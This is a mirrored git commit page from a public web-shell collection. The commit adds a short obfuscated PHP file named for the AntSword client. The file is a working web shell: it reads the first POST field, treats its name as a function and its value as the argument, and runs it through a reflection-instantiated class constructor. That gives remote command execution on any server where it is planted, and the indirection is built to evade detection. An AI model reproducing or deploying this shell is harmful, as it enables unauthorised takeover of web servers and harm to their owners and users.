mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
parent
5ce21f94e4
commit
db62a9c082
1 changed files with 26 additions and 0 deletions
26
php/AntSword_2021-03-06.php
Normal file
26
php/AntSword_2021-03-06.php
Normal file
|
@ -0,0 +1,26 @@
|
|||
<?php
|
||||
$s0;
|
||||
$s1;
|
||||
|
||||
|
||||
class Test1
|
||||
{
|
||||
public function __construct($para, $_value)
|
||||
{
|
||||
$para($_value);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
$class1 = new ReflectionClass("Test1");
|
||||
print_r($class1);
|
||||
foreach (array('_POST') as $_request) {
|
||||
foreach ($$_request as $_key=>$_value) {
|
||||
for ($i=0;$i<1;$i++) {
|
||||
${"s".$i} = $_key;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
$class2 = $class1->newInstance($s0, $_value);
|
Loading…
Reference in a new issue